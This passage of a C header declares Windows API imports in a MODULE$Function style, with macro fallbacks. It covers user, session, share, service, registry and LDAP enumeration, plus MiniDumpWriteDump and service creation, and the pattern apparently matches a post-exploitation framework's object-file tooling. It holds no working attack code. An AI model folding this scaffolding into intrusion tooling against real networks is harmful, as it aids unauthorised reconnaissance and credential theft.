dwAuthzSvc, OLECHAR* pServerPrincName, DWORD dwAuthnLevel, DWORD dwImpLevel, RPC_AUTH_IDENTITY_HANDLE pAuthInfo, DWORD dwCapabilities);\nDECLSPEC_IMPORT LPVOID\tWINAPI OLE32$CoTaskMemAlloc(SIZE_T cb);\nDECLSPEC_IMPORT void\tWINAPI OLE32$CoTaskMemFree(LPVOID pv);\n\n//OLEAUT32\nDECLSPEC_IMPORT BSTR\tWINAPI OLEAUT32$SysAllocString(const OLECHAR *);\nDECLSPEC_IMPORT INT\t\tWINAPI OLEAUT32$SysReAllocString(BSTR *, const OLECHAR *);\nDECLSPEC_IMPORT void\tWINAPI OLEAUT32$SysFreeString(BSTR);\nDECLSPEC_IMPORT UINT\tWINAPI OLEAUT32$SysStringLen(BSTR);\nDECLSPEC_IMPORT void\tWINAPI OLEAUT32$VariantInit(VARIANTARG *pvarg);\nDECLSPEC_IMPORT void\tWINAPI OLEAUT32$VariantClear(VARIANTARG *pvarg);\nDECLSPEC_IMPORT HRESULT\tWINAPI OLEAUT32$SysAddRefString(BSTR);\nDECLSPEC_IMPORT HRESULT\tWINAPI OLEAUT32$VariantChangeType(VARIANTARG *pvargDest, VARIANTARG *pvarSrc, USHORT wFlags, VARTYPE vt);\nDECLSPEC_IMPORT void\tWINAPI OLEAUT32$VarFormatDateTime(LPVARIANT pvarIn,int iNamedFormat,ULONG dwFlags,BSTR *pbstrOut);\nDECLSPEC_IMPORT void\tWINAPI OLEAUT32$SafeArrayDestroy(SAFEARRAY *psa);\nDECLSPEC_IMPORT HRESULT\tWINAPI OLEAUT32$SafeArrayLock(SAFEARRAY *psa);\nDECLSPEC_IMPORT HRESULT\tWINAPI OLEAUT32$SafeArrayGetLBound(SAFEARRAY *psa, UINT nDim, LONG *plLbound);\nDECLSPEC_IMPORT HRESULT\tWINAPI OLEAUT32$SafeArrayGetUBound(SAFEARRAY *psa, UINT nDim, LONG *plUbound);\nDECLSPEC_IMPORT HRESULT\tWINAPI OLEAUT32$SafeArrayGetElement(SAFEARRAY *psa, LONG *rgIndices, void *pv);\nDECLSPEC_IMPORT UINT\tWINAPI OLEAUT32$SafeArrayGetElemsize(SAFEARRAY *psa);\nDECLSPEC_IMPORT HRESULT\tWINAPI OLEAUT32$SafeArrayAccessData(SAFEARRAY *psa,void HUGEP **ppvData);\nDECLSPEC_IMPORT HRESULT\tWINAPI OLEAUT32$SafeArrayUnaccessData(SAFEARRAY *psa);\n\n\n\n\n\n\n\n\n//CERTCLI\n/*\nDECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAEnumFirstCA(IN LPCWSTR wszScope, IN DWORD dwFlags, OUT LPVOID * phCAInfo);\nDECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAEnumNextCA(IN LPVOID hPrevCA, OUT LPVOID * phCAInfo);\nDECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CACloseCA(IN LPVOID hCA);\nDECLSPEC_IMPORT DWORD WINAPI CERTCLI$CACountCAs(IN LPVOID hCAInfo);\nDECLSPEC_IMPORT LPCWSTR WINAPI CERTCLI$CAGetDN(IN LPVOID hCAInfo);\nDECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAGetCAProperty(IN LPVOID hCAInfo, IN LPCWSTR wszPropertyName, OUT PZPWSTR *pawszPropertyValue);\nDECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAFreeCAProperty(IN LPVOID hCAInfo, IN PZPWSTR awszPropertyValue);\nDECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAGetCAFlags(IN LPVOID hCAInfo, OUT DWORD  *pdwFlags);\nDECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAGetCACertificate(IN LPVOID hCAInfo, OUT PCCERT_CONTEXT *ppCert);\nDECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAGetCAExpiration(IN LPVOID hCAInfo, OUT DWORD * pdwExpiration, OUT DWORD * pdwUnits);\nDECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAGetCASecurity(IN LPVOID hCAInfo, OUT PSECURITY_DESCRIPTOR * ppSD);\nDECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAGetAccessRights(IN LPVOID hCAInfo, IN DWORD dwContext, OUT DWORD *pdwAccessRights);\nDECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAEnumCertTypesForCA(IN LPVOID hCAInfo, IN DWORD dwFlags, OUT LPVOID * phCertType);\nDECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAEnumCertTypes(IN DWORD dwFlags, OUT LPVOID * phCertType);\nDECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAEnumNextCertType(IN LPVOID hPrevCertType, OUT LPVOID * phCertType);\nDECLSPEC_IMPORT DWORD WINAPI CERTCLI$CACountCertTypes(IN LPVOID hCertType);\nDECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CACloseCertType(IN LPVOID hCertType);\nDECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAGetCertTypeProperty(IN LPVOID hCertType, IN LPCWSTR wszPropertyName, OUT PZPWSTR *pawszPropertyValue);\nDECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAGetCertTypePropertyEx(IN LPVOID hCertType, IN LPCWSTR wszPropertyName, OUT LPVOID *pPropertyValue);\nDECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAFreeCertTypeProperty(IN LPVOID hCertType, IN PZPWSTR awszPropertyValue);\nDECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAGetCertTypeExtensionsEx(IN LPVOID hCertType, IN DWORD dwFlags, IN LPVOID pParam, OUT PCERT_EXTENSIONS * ppCertExtensions);\nDECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAFreeCertTypeExtensions(IN LPVOID hCertType, IN PCERT_EXTENSIONS pCertExtensions);\nDECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAGetCertTypeFlagsEx(IN LPVOID hCertType, IN DWORD dwOption, OUT DWORD * pdwFlags);\nDECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAGetCertTypeExpiration(IN LPVOID hCertType, OUT OPTIONAL FILETIME * pftExpiration, OUT OPTIONAL FILETIME * pftOverlap);\nDECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CACertTypeGetSecurity(IN LPVOID hCertType, OUT PSECURITY_DESCRIPTOR * ppSD);\nDECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAGetCertTypeAccessRights(IN LPVOID hCertType, IN DWORD dwContext, OUT DWORD *pdwAccessRights);\nDECLSPEC_IMPORT HRESULT WINAPI CERTCLI$caTranslateFileTimePeriodToPeriodUnits(IN FILETIME const *pftGMT, IN BOOL Flags, OUT DWORD *pcPeriodUnits, OUT LPVOID*prgPeriodUnits);\n*/\n\n\n\n\n\n\n\n\n\n\n\n//dbghelp\nDECLSPEC_IMPORT WINBOOL WINAPI DBGHELP$MiniDumpWriteDump(HANDLE hProcess,DWORD ProcessId,HANDLE hFile,MINIDUMP_TYPE DumpType,CONST PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam,CONST PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam,CONST PMINIDUMP_CALLBACK_INFORMATION CallbackParam);\n\n//WLDAP32\nWINLDAPAPI LDAP* LDAPAPI WLDAP32$ldap_init(PSTR, ULONG);\nWINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_bind_s(LDAP *ld,const PSTR  dn,const PCHAR cred,ULONG method);\nWINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_search_s(LDAP *ld,PSTR base,ULONG scope,PSTR filter,PZPSTR attrs,ULONG attrsonly,PLDAPMessage *res);\nWINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_count_entries(LDAP*,LDAPMessage*);\nWINLDAPAPI struct berval **LDAPAPI WLDAP32$ldap_get_values_lenA (LDAP *ExternalHandle,LDAPMessage *Message,const PCHAR attr);\nWINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_value_free_len(struct berval **vals);\nWINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_set_optionA(LDAP *ld,int option,const void *invalue);\nWINLDAPAPI PLDAPSearch LDAPAPI WLDAP32$ldap_search_init_pageA(PLDAP ExternalHandle,const PCHAR DistinguishedName,ULONG ScopeOfSearch,const PCHAR SearchFilter,PCHAR AttributeList[],ULONG AttributesOnly,PLDAPControlA *ServerControls,PLDAPControlA *ClientControls,ULONG PageTimeLimit,ULONG TotalSizeLimit,PLDAPSortKeyA *SortKeys);\nWINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_get_paged_count(PLDAP ExternalHandle,PLDAPSearch SearchBlock,ULONG *TotalCount,PLDAPMessage Results);\nWINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_get_next_page_s(PLDAP ExternalHandle,PLDAPSearch SearchHandle,struct l_timeval *timeout,ULONG PageSize,ULONG *TotalCount,LDAPMessage **Results);\n\nWINLDAPAPI LDAPMessage*  LDAPAPI WLDAP32$ldap_first_entry(LDAP *ld,LDAPMessage *res);\nWINLDAPAPI LDAPMessage*  LDAPAPI WLDAP32$ldap_next_entry(LDAP*,LDAPMessage*);\nWINLDAPAPI PCHAR LDAPAPI WLDAP32$ldap_first_attribute(LDAP *ld,LDAPMessage *entry,BerElement **ptr);\nWINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_count_values(PCHAR);\nWINLDAPAPI PCHAR * LDAPAPI WLDAP32$ldap_get_values(LDAP *ld,LDAPMessage *entry,const PSTR attr);\nWINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_value_free(PCHAR *);\nWINLDAPAPI PCHAR LDAPAPI WLDAP32$ldap_next_attribute(LDAP *ld,LDAPMessage *entry,BerElement *ptr);\nWINLDAPAPI VOID LDAPAPI WLDAP32$ber_free(BerElement *pBerElement,INT fbuf);\nWINLDAPAPI VOID LDAPAPI WLDAP32$ldap_memfree(PCHAR);\n\nWINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_unbind(LDAP*);\nWINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_unbind_s(LDAP*);\nWINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_msgfree(LDAPMessage*);\n\n//RPCRT4\nRPCRTAPI RPC_STATUS RPC_ENTRY RPCRT4$UuidToStringA(UUID *Uuid,RPC_CSTR *StringUuid);\nRPCRTAPI RPC_STATUS RPC_ENTRY RPCRT4$RpcStringFreeA(RPC_CSTR *String);\n\n//PSAPI\nDECLSPEC_IMPORT WINBOOL WINAPI PSAPI$EnumProcessModulesEx(HANDLE hProcess, HMODULE *lphModule, DWORD cb, LPDWORD lpcbNeeded, DWORD dwFilterFlag);\nDECLSPEC_IMPORT DWORD WINAPI PSAPI$GetModuleFileNameExA(HANDLE hProcess, HMODULE hModule, LPSTR lpFilename, DWORD nSize);\n\n//VERSION\nDECLSPEC_IMPORT DWORD WINAPI VERSION$GetFileVersionInfoSizeA(LPCSTR lptstrFilenamea ,LPDWORD lpdwHandle);\nDECLSPEC_IMPORT WINBOOL WINAPI VERSION$GetFileVersionInfoA(LPCSTR lptstrFilename, DWORD dwHandle, DWORD dwLen, LPVOID lpData);\nDECLSPEC_IMPORT WINBOOL WINAPI VERSION$VerQueryValueA(LPCVOID pBlock, LPCSTR lpSubBlock, LPVOID *lplpBuffer, PUINT puLen);\n\n\n\n#else\n\n\n#define intAlloc(size) KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, size)\n#define intRealloc(ptr, size) (ptr) ? KERNEL32$HeapReAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, ptr, size) : KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, size)\n#define intFree(addr) KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, addr)\n#define intZeroMemory(addr,size) MSVCRT$memset((addr),0,size)\n\n#define KERNEL32$VirtualAlloc  VirtualAlloc \n#define KERNEL32$VirtualFree  VirtualFree \n#define KERNEL32$LocalAlloc  LocalAlloc \n#define KERNEL32$LocalFree  LocalFree \n#define KERNEL32$HeapAlloc  HeapAlloc \n#define KERNEL32$HeapReAlloc  HeapReAlloc \n#define KERNEL32$GetProcessHeap GetProcessHeap\n#define KERNEL32$HeapFree  HeapFree \n#define Kernel32$FormatMessageA  FormatMessageA \n#define Kernel32$WideCharToMultiByte  WideCharToMultiByte \n#define KERNEL32$FileTimeToLocalFileTime  FileTimeToLocalFileTime \n#define KERNEL32$FileTimeToSystemTime  FileTimeToSystemTime \n#define KERNEL32$GetDateFormatW  GetDateFormatW \n#define KERNEL32$GetSystemTimeAsFileTime  GetSystemTimeAsFileTime \n#define KERNEL32$GetLocalTime  GetLocalTime \n#define KERNEL32$SystemTimeToFileTime  SystemTimeToFileTime \n#define KERNEL32$SystemTimeToTzSpecificLocalTime  SystemTimeToTzSpecificLocalTime \n#define KERNEL32$GlobalMemoryStatusEx  GlobalMemoryStatusEx \n#define KERNEL32$GetDiskFreeSpaceExA  GetDiskFreeSpaceExA \n#define KERNEL32$GetCurrentProcess  GetCurrentProcess \n#define KERNEL32$GetCurrentProcessId GetCurrentProcessId\n#define KERNEL32$GetLastError  GetLastError \n#define KERNEL32$CloseHandle  CloseHandle \n#define KERNEL32$CreateThread  CreateThread \n#define KERNEL32$GetTickCount  GetTickCount \n#define KERNEL32$GetTickCount64  GetTickCount64 \n#define KERNEL32$CreateFiber  CreateFiber \n#define KERNEL32$ConvertThreadToFiber  ConvertThreadToFiber \n#define KERNEL32$ConvertFiberToThread  ConvertFiberToThread \n#define KERNEL32$DeleteFiber  DeleteFiber \n#define KERNEL32$SwitchToFiber  SwitchToFiber \n#define KERNEL32$WaitForSingleObject  WaitForSingleObject \n#define KERNEL32$Sleep  Sleep \n#define KERNEL32$DeleteFileW  DeleteFileW \n#define KERNEL32$CreateFileW  CreateFileW \n#define KERNEL32$GetFileSize  GetFileSize \n#define KERNEL32$ReadFile  ReadFile \n#define KERNEL32$OpenProcess  OpenProcess \n#define KERNEL32$GetComputerNameExW  GetComputerNameExW \n#define KERNEL32$lstrlenW  lstrlenW \n#define KERNEL32$lstrcatW  lstrcatW \n#define KERNEL32$lstrcpynW  lstrcpynW \n#define KERNEL32$GetFullPathNameW  GetFullPathNameW \n#define KERNEL32$GetFileAttributesW  GetFileAttributesW \n#define KERNEL32$GetCurrentDirectoryW  GetCurrentDirectoryW \n#define KERNEL32$FindFirstFileW  FindFirstFileW \n#define KERNEL32$FindNextFileW  FindNextFileW \n#define KERNEL32$FindFirstFileA  FindFirstFileA\n#define KERNEL32$FindNextFileA  FindNextFileA \n#define KERNEL32$FindClose  FindClose \n#define KERNEL32$SetLastError  SetLastError \n#define KERNEL32$HeapAlloc HeapAlloc\n#define KERNEL32$HeapReAlloc HeapReAlloc\n#define KERNEL32$HeapFree HeapFree\n#define MSVCRT$memset memset\n#define KERNEL32$GlobalAlloc GlobalAlloc\n#define KERNEL32$GlobalFree GlobalFree\n#define KERNEL32$GetEnvironmentStrings GetEnvironmentStrings\n#define KERNEL32$FreeEnvironmentStringsA FreeEnvironmentStringsA\n#define KERNEL32$ExpandEnvironmentStringsW  ExpandEnvironmentStringsW \n#define KERNEL32$CreateToolhelp32Snapshot CreateToolhelp32Snapshot\n#define KERNEL32$Process32First Process32First\n#define KERNEL32$Process32Next Process32Next\n#define KERNEL32$Module32First Module32First\n#define KERNEL32$Module32Next Module32Next\n#define KERNEL32$LoadLibraryA LoadLibraryA\n#define KERNEL32$GetProcAddress GetProcAddress\n#define KERNEL32$FreeLibrary FreeLibrary\n#define KERNEL32$lstrlenA lstrlenA\n#define KERNEL32$GetLocaleInfoEx GetLocaleInfoEx\n#define KERNEL32$GetSystemDefaultLocaleName GetSystemDefaultLocaleName\n#define KERNEL32$LocaleNameToLCID LocaleNameToLCID\n#define KERNEL32$GetDateFormatEx GetDateFormatEx\n\n#define WTSAPI32$WTSEnumerateSessionsA WTSEnumerateSessionsA\n#define WTSAPI32$WTSQuerySessionInformationA WTSQuerySessionInformationA\n#define WTSAPI32$WTSFreeMemory WTSFreeMemory\n#define IPHLPAPI$GetAdaptersInfo  GetAdaptersInfo \n#define IPHLPAPI$GetAdaptersInfo GetAdaptersInfo\n#define IPHLPAPI$GetIpForwardTable  GetIpForwardTable \n#define IPHLPAPI$GetNetworkParams GetNetworkParams\n#define IPHLPAPI$GetUdpTable  GetUdpTable \n#define IPHLPAPI$GetTcpTable  GetTcpTable \n#define IPHLPAPI$GetIpNetTable GetIpNetTable\n#define MSVCRT$calloc calloc\n#define MSVCRT$memcpy memcpy\n#define MSVCRT$memcmp memcmp\n#define MSVCRT$realloc realloc\n#define MSVCRT$free free\n#define MSVCRT$memset memset\n#define MSVCRT$sprintf sprintf\n#define MSVCRT$vsnprintf vsnprintf\n#define MSVCRT$_snwprintf _snwprintf\n#define MSVCRT$wcscpy_s wcscpy_s\n#define MSVCRT$wcslen wcslen\n#define MSVCRT$wcstombs wcstombs\n#define MSVCRT$sprintf  sprintf \n#define MSVCRT$wcscmp wcscmp\n#define MSVCRT$wcstok wcstok\n#define MSVCRT$wcstok_s wcstok_s\n#define MSVCRT$wcsstr wcsstr\n#define MSVCRT$wcscat wcscat\n#define MSVCRT$wcsncat wcsncat\n#define MSVCRT$wcscpy wcscpy\n#define MSVCRT$_wcsicmp _wcsicmp\n#define MSVCRT$wcschr wcschr\n#define MSVCRT$wcsncat wcsncat\n#define MSVCRT$wcsrchr wcsrchr\n#define MSVCRT$wcsrchr wcsrchr\n#define MSVCRT$wcstoul wcstoul\n#define MSVCRT$strcat strcat\n#define MSVCRT$strnlen strnlen\n#define MSVCRT$strlen strlen\n#define MSVCRT$strcmp strcmp\n#define MSVCRT$strncmp strncmp\n#define MSVCRT$_stricmp _stricmp\n#define MSVCRT$strcpy strcpy\n#define MSVCRT$strstr strstr\n#define MSVCRT$strchr strchr\n#define MSVCRT$strtok strtok\n#define MSVCRT$strtok_s strtok_s\n#define MSVCRT$strtoul strtoul\n#define DNSAPI$DnsQuery_A DnsQuery_A\n#define DNSAPI$DnsFree DnsFree\n#define WSOCK32$inet_addr inet_addr\n#define WS2_32$closesocket closesocket\n#define WS2_32$connect connect\n#define WS2_32$freeaddrinfo freeaddrinfo\n#define WS2_32$getaddrinfo getaddrinfo\n#define WS2_32$htonl htonl\n#define WS2_32$htons htons\n#define WS2_32$inet_ntoa inet_ntoa\n#define WS2_32$ioctlsocket ioctlsocket\n#define WS2_32$select select\n#define WS2_32$socket socket\n#define WS2_32$__WSAFDIsSet __WSAFDIsSet\n#define WS2_32$WSAGetLastError WSAGetLastError\n#define NETAPI32$DsGetDcNameA DsGetDcNameA\n#define NETAPI32$NetUserGetInfo NetUserGetInfo\n#define NETAPI32$NetUserModalsGet NetUserModalsGet\n#define NETAPI32$NetServerEnum NetServerEnum\n#define NETAPI32$NetUserGetGroups NetUserGetGroups\n#define NETAPI32$NetUserGetLocalGroups NetUserGetLocalGroups\n#define NETAPI32$NetApiBufferFree NetApiBufferFree\n#define NETAPI32$NetGetAnyDCName NetGetAnyDCName\n#define NETAPI32$NetUserEnum NetUserEnum\n#define NETAPI32$NetGroupGetUsers NetGroupGetUsers\n#define NETAPI32$NetQueryDisplayInformation NetQueryDisplayInformation\n#define NETAPI32$NetLocalGroupEnum NetLocalGroupEnum\n#define NETAPI32$NetLocalGroupGetMembers NetLocalGroupGetMembers\n#define NETAPI32$NetUserSetInfo NetUserSetInfo\n#define NETAPI32$NetShareEnum NetShareEnum\n#define NETAPI32$NetWkstaUserEnum NetWkstaUserEnum\n#define NETAPI32$NetWkstaGetInfo NetWkstaGetInfo\n#define NETAPI32$NetStatisticsGet NetStatisticsGet\n#define NETAPI32$NetApiBufferFree NetApiBufferFree\n#define NETAPI32$NetSessionEnum NetSessionEnum\n#define MPR$WNetOpenEnumW WNetOpenEnumW\n#define MPR$WNetEnumResourceW WNetEnumResourceW\n#define MPR$WNetCloseEnum WNetCloseEnum\n#define MPR$WNetGetNetworkInformationW WNetGetNetworkInformationW\n#define MPR$WNetGetConnectionW WNetGetConnectionW\n#define MPR$WNetGetResourceInformationW WNetGetResourceInformationW\n#define MPR$WNetGetUserW WNetGetUserW\n#define MPR$WNetAddConnection2W WNetAddConnection2W\n#define MPR$WNetCancelConnection2W WNetCancelConnection2W\n#define USER32$EnumDesktopWindows EnumDesktopWindows\n#define USER32$IsWindowVisible  IsWindowVisible \n#define USER32$GetWindowTextA GetWindowTextA\n#define USER32$GetClassNameA GetClassNameA\n#define USER32$CharPrevW CharPrevW\n#define USER32$FindWindowExA FindWindowExA \n#define USER32$SendMessageA SendMessageA\n#define USER32$GetWindowTextA GetWindowTextA\n#define USER32$GetClassNameA GetClassNameA\n#define USER32$EnumChildWindows EnumChildWindows\n#define SECUR32$GetUserNameExA  GetUserNameExA \n#define SHLWAPI$StrStrIA StrStrIA\n#define SHLWAPI$SHFormatDateTimeA SHFormatDateTimeA\n#define ADVAPI32$OpenProcessToken  OpenProcessToken \n#define ADVAPI32$GetTokenInformation  GetTokenInformation \n#define ADVAPI32$ConvertSidToStringSidA ConvertSidToStringSidA\n#define ADVAPI32$ConvertStringSecurityDescriptorToSecurityDescriptorW ConvertStringSecurityDescriptorToSecurityDescriptorW\n#define ADVAPI32$LookupAccountSidA  LookupAccountSidA \n#define ADVAPI32$LookupAccountSidW  LookupAccountSidW\n#define ADVAPI32$LookupPrivilegeNameA  LookupPrivilegeNameA \n#define ADVAPI32$LookupPrivilegeDisplayNameA  LookupPrivilegeDisplayNameA \n#define ADVAPI32$OpenSCManagerA OpenSCManagerA\n#define ADVAPI32$OpenServiceA OpenServiceA\n#define ADVAPI32$QueryServiceStatus QueryServiceStatus\n#define ADVAPI32$QueryServiceConfigA QueryServiceConfigA\n#define ADVAPI32$CloseServiceHandle CloseServiceHandle\n#define ADVAPI32$EnumServicesStatusExA EnumServicesStatusExA\n#define ADVAPI32$QueryServiceStatusEx QueryServiceStatusEx\n#define ADVAPI32$QueryServiceConfig2A QueryServiceConfig2A\n#define ADVAPI32$ChangeServiceConfig2A ChangeServiceConfig2A\n#define ADVAPI32$ChangeServiceConfigA ChangeServiceConfigA\n#define ADVAPI32$CreateServiceA CreateServiceA\n#define ADVAPI32$DeleteService DeleteService\n#define ADVAPI32$RegOpenKeyExW RegOpenKeyExW\n#define ADVAPI32$EnumServicesStatusExW EnumServicesStatusExW\n#define ADVAPI32$RegCreateKeyA RegCreateKeyA\n#define ADVAPI32$RegSetValueExA RegSetValueExA\n#define ADVAPI32$RegOpenKeyExA RegOpenKeyExA\n#define ADVAPI32$RegConnectRegistryA RegConnectRegistryA\n#define ADVAPI32$RegCloseKey RegCloseKey\n#define ADVAPI32$RegOpenKeyA RegOpenKeyA\n#define ADVAPI32$RegCreateKeyExA RegCreateKeyExA\n#define ADVAPI32$RegDeleteKeyExA RegDeleteKeyExA\n#define ADVAPI32$RegDeleteKeyValueA RegDeleteKeyValueA\n#define ADVAPI32$RegQueryValueExA RegQueryValueExA\n#define ADVAPI32$RegQueryInfoKeyA RegQueryInfoKeyA\n#define ADVAPI32$RegEnumValueA RegEnumValueA\n#define ADVAPI32$RegEnumKeyExA RegEnumKeyExA\n#define ADVAPI32$RegDeleteValueA RegDeleteValueA\n#define ADVAPI32$RegQueryValueExW RegQueryValueExW\n#define ADVAPI32$RegSaveKeyExA RegSaveKeyExA\n#define ADVAPI32$GetFileSecurityW GetFileSecurityW \n#define ADVAPI32$GetSecurityDescriptorOwner GetSecurityDescriptorOwner\n#define ADVAPI32$GetSecurityDescriptorDacl GetSecurityDescriptorDacl \n#define ADVAPI32$GetAclInformation GetAclInformation\n#define ADVAPI32$GetAce GetAce \n#define ADVAPI32$LookupAccountSidW LookupAccountSidW \n#define ADVAPI32$ConvertSidToStringSidW ConvertSidToStringSidW\n#define ADVAPI32$MapGenericMask  MapGenericMask \n#define ADVAPI32$OpenProcessToken  OpenProcessToken \n#define ADVAPI32$GetTokenInformation  GetTokenInformation \n#define ADVAPI32$InitializeSecurityDescriptor  InitializeSecurityDescriptor \n#define ADVAPI32$SetSecurityDescriptorDacl  SetSecurityDescriptorDacl \n#define ADVAPI32$ConvertSecurityDescriptorToStringSecurityDescriptorW ConvertSecurityDescriptorToStringSecurityDescriptorW\n#define ADVAPI32$StartServiceA StartServiceA\n#define ADVAPI32$ControlService ControlService\n#define ADVAPI32$EnumDependentServicesA EnumDependentServicesA\n#define ADVAPI32$RegQueryInfoKeyA RegQueryInfoKeyA\n#define NTDLL$NtCreateFile NtCreateFile\n#define NTDLL$NtClose NtClose\n#define IMAGEHLP$ImageEnumerateCertificates ImageEnumerateCertificates\n#define IMAGEHLP$ImageGetCertificateHeader ImageGetCertificateHeader\n#define IMAGEHLP$ImageGetCertificateData ImageGetCertificateData\n#define CRYPT32$CryptVerifyMessageSignature  CryptVerifyMessageSignature \n#define CRYPT32$CertGetNameStringW  CertGetNameStringW \n#define CRYPT32$CertGetCertificateContextProperty CertGetCertificateContextProperty\n#define CRYPT32$CertCreateCertificateContext  CertCreateCertificateContext\n#define CRYPT32$CertFreeCertificateContext  CertFreeCertificateContext \n#define CRYPT32$CertGetCertificateChain CertGetCertificateChain\n#define CRYPT32$CertFreeCertificateChain CertFreeCertificateChain\n#define CRYPT32$CryptFindOIDInfo CryptFindOIDInfo\n#define WS2_32$InetNtopW InetNtopW\n#define WS2_32$inet_pton inet_pton\n#define DNSAPI$DnsFree DnsFree\n#define DNSAPI$DnsGetCacheDataTable DnsGetCacheDataTable\n#define OLE32$CoInitializeEx  CoInitializeEx \n#define OLE32$CoUninitialize  CoUninitialize \n#define OLE32$CoInitializeSecurity  CoInitializeSecurity \n#define OLE32$CoCreateInstance  CoCreateInstance \n#define OLE32$CLSIDFromString  CLSIDFromString \n#define OLE32$IIDFromString  IIDFromString \n#define OLE32$StringFromGUID2 StringFromGUID2\n#define OLE32$CoSetProxyBlanket CoSetProxyBlanket\n#define OLE32$CoTaskMemAlloc CoTaskMemAlloc\n#define OLE32$CoTaskMemFree CoTaskMemFree\n#define OLEAUT32$SysAllocString SysAllocString\n#define OLEAUT32$SysReAllocString SysReAllocString\n#define OLEAUT32$SysFreeString SysFreeString\n#define OLEAUT32$SysStringLen SysStringLen\n#define OLEAUT32$VariantInit VariantInit\n#define OLEAUT32$VariantClear VariantClear\n#define OLEAUT32$SysAddRefString SysAddRefString\n#define OLEAUT32$VariantChangeType VariantChangeType\n#define OLEAUT32$VarFormatDateTime VarFormatDateTime\n#define OLEAUT32$SafeArrayDestroy SafeArrayDestroy\n#define OLEAUT32$SafeArrayLock SafeArrayLock\n#define OLEAUT32$SafeArrayGetLBound SafeArrayGetLBound\n#define OLEAUT32$SafeArrayGetUBound SafeArrayGetUBound\n#define OLEAUT32$SafeArrayGetElement SafeArrayGetElement\n#define OLEAUT32$SafeArrayGetElemsize SafeArrayGetElemsize\n#define OLEAUT32$SafeArrayAccessData SafeArrayAccessData\n#define OLEAUT32$SafeArrayUnaccessData SafeArrayUnaccessData\n\n\n\n\n/*\n#define CERTCLI$CAEnumFirstCA CAEnumFirstCA\n#define CERTCLI$CAEnumNextCA CAEnumNextCA\n#define CERTCLI$CACloseCA CACloseCA\n#define CERTCLI$CACountCAs CACountCAs\n#define CERTCLI$CAGetDN CAGetDN\n#define CERTCLI$CAGetCAProperty CAGetCAProperty\n#define CERTCLI$CAFreeCAProperty CAFreeCAProperty\n#define CERTCLI$CAGetCAFlags CAGetCAFlags\n#define CERTCLI$CAGetCACertificate CAGetCACertificate\n#define CERTCLI$CAGetCAExpiration CAGetCAExpiration\n#define CERTCLI$CAGetCASecurity CAGetCASecurity\n#define CERTCLI$CAGetAccessRights CAGetAccessRights\n#define CERTCLI$CAEnumCertTypesForCA CAEnumCertTypesForCA\n#define CERTCLI$CAEnumCertTypes CAEnumCertTypes\n#define CERTCLI$CAEnumNextCertType CAEnumNextCertType\n#define CERTCLI$CACountCertTypes CACountCertTypes\n#define CERTCLI$CACloseCertType CACloseCertType\n#define CERTCLI$CAGetCertTypeProperty CAGetCertTypeProperty\n#define CERTCLI$CAGetCertTypePropertyEx CAGetCertTypePropertyEx\n#define CERTCLI$CAFreeCertTypeProperty CAFreeCertTypeProperty\n#define CERTCLI$CAGetCertTypeExtensionsEx CAGetCertTypeExtensionsEx\n#define CERTCLI$CAFreeCertTypeExtensions CAFreeCertTypeExtensions\n#define CERTCLI$CAGetCertTypeFlagsEx CAGetCertTypeFlagsEx\n#define CERTCLI$CAGetCertTypeExpiration CAGetCertTypeExpiration\n#define CERTCLI$CACertTypeGetSecurity CACertTypeGetSecurity\n#define CERTCLI$CAGetCertTypeAccessRights CAGetCertTypeAccessRights\n#define CERTCLI$caTranslateFileTimePeriodToPeriodUnits caTranslateFileTimePeriodToPeriodUnits\n*/\n\n\n\n#define DBGHELP$MiniDumpWriteDump MiniDumpWriteDump\n#define WLDAP32$ldap_init ldap_init\n#define WLDAP32$ldap_bind_s ldap_bind_s\n#define WLDAP32$ldap_search_s ldap_search_s\n#define WLDAP32$ldap_count_entries ldap_count_entries\n#define WLDAP32$ldap_get_values_lenA  ldap_get_values_lenA \n#define WLDAP32$ldap_value_free_len ldap_value_free_len\n#define WLDAP32$ldap_set_optionA ldap_set_optionA\n#define WLDAP32$ldap_search_init_pageA ldap_search_init_pageA\n#define WLDAP32$ldap_get_paged_count ldap_get_paged_count\n#define WLDAP32$ldap_get_next_page_s ldap_get_next_page_s\n#define WLDAP32$ldap_first_entry ldap_first_entry\n#define WLDAP32$ldap_next_entry ldap_next_entry\n#define WLDAP32$ldap_first_attribute ldap_first_attribute\n#define WLDAP32$ldap_count_values 